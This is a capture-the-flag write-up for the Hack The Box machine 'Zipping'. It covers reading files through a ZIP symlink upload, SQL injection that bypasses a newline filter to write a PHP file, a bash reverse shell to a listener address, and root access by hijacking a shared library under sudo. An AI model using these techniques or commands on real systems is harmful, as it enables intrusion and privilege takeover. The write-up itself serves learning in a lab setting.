Zipping
Created by xdann1
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and discover only two ports, 22 and 80, on which their respective standard services are running.

A Gobuster scan was running in the background, but it is sufficient to check the page manually. The first thing you notice is an upload page, this only allows zip files to be uploaded. Unfortunately, a bypass did not work here.

We have a store page with products.

And we are able to store those products in a cart. The pages are requested via the page parameter.

Here is the shopping cart.

Foothold
First of all, let's see how the file upload works. Only Zip files are allowed. To do this, we first inserted any file into a zip file. However, this was not accepted. Only one file is allowed in the zip, and this must be a PDF. The file extension PDF is sufficient.

After we have uploaded a zip containing a PDF, we see that it is unzipped, and the link to the upload directory is provided. The first idea was to upload a PHP reverse shell instead of a PDF by bypassing the file extension inside the zip with a null byte, but that didn't work. This was probably an unintended path and was patched.

After a short period of research, a vulnerability is found that takes effect here. A file upload attack, which is described in more detail below. This uses symlinks that are resolved during unpacking in order to access any files on the system.
What Is Symlink?A Symlink (also called a symbolic link) is a type of file in Linux that points to another file or a folder on your system. Symlinks are similar to shortcuts in Windows.
What Is ZIP Symlink Vulnerability?An archive can contain a symbolic link. A symbolic link is a special file that links to another file. By uploading a ZIP containing a symbolic link, and after the ZIP is extracted, you can access the symbolic link to gain access to files that should not be accessible otherwise. To do so, you need to get your symbolic link to point to files outside of the web root, for example “/etc\passwd”.
These types of issues are typically found when a developer allows ZIP files in the upload functionality. When a user uploads the malicious ZIP file in the application then it simply takes the ZIP file and extracts it without any further validations.
We test the whole thing with the /etc/passwd file. We create the symlink and pack it into the zip file. The parameter --symlinks is important here.

We intercept the request to the PDF file and are able to read the file of /etc/passwd in Burp Suite.

Ok, we can't do much with it yet. Let's first look at the sources of the PHP pages. The cart.php file is of interest here. Especially when adding items to the cart.

Let's retrieve the cart.php file after it gets successfully uploaded.
Again, we intercept the request.

In line 8 we see that the product_id is validated using preg_match. Without that, we would be able to inject sql.
It checks if any word/regex from a blacklist is present on the user input and if it's not, the code can continue it's execution. To bypass this check you could send the value with new-lines urlencoded (
%0A).
From there we should be able to inject arbritrary PHP code.
Let's try to write a PHP reverse shell on the system and call it.
To do this, it must be located at /www/var/html/shop. Unfortunately, this did not work, and we have to switch to another directory. We write our file to /var/lib/mysql/, here we seem to have write permissions. To test, we simply query the version.
In order to execute our query, we intercept the add-to-cart request and inject our code into the product_id.

After we have submitted our request, we call up the following resource /shop/index.php?page=/var/lib/mysql/version and see that we have been successful. The database version is revealed.

Ok, on to the reverse shell. The first approach was to simply base64 encode the Pentest Monkey reverse shell, slightly adapt the last line so that no special characters could be misinterpreted when decoding the URL and write its content to the target file via select from_base64. Unfortunately, this did not work. Instead, we use exec() and execute a simple reverse shell /bin/bash -i >& /dev/tcp/10.10.14.170/4445 0>&1. We need to double base64 encode the simple reverse shell to remove the special characters like +.
Double base64-encoded reverse shell:
PHP page, executing the double base64-encoded reverse shell:
Encoded PHP page:
Payload writing the encoded PHP page plain into /var/lib/mysql/x.php.

After we have uploaded the reverse shell, we access it via http://zipper.htb/shop/index.php?page=/var/lib/mysql/x while a netcat listener is running in the background. The reverse shell connects, and we are the user rektsu.

We find the first flag in his home directory. It would already be possible to access this using the file symlink disclousure via zip.

Privilege Escalation
Using sudo -l, we find out that the user can execute /usr/bin/stock with elevated permissions without providing the password of rektsu.

However, the application itself requires a password. The password is hard-coded and can be quickly determined via strings.

When executing, we see that we can VIEW or EDIT stocks. Nothing special at first glance.
Let's take a look at the application during execution.
strace sudo /usr/bin/stock
We see that after entering the password, the shared library /home/rektsu/.config/libcounter.so is included. However, we cannot find the file there. So we can create one ourselves that opens a root shell, since we can call the application using sudo.

We craft a simple shared library with attribute __attribute__((constructor)), which uses the system function to execute the command bash -p at program startup.
We compile it, and after executing /usr/bin/stock, we are root.
gcc -shared -o libcounter.so -fPIC libcounter.c

The final flag can then be found in /root/root.txt.

Last updated
Was this helpful?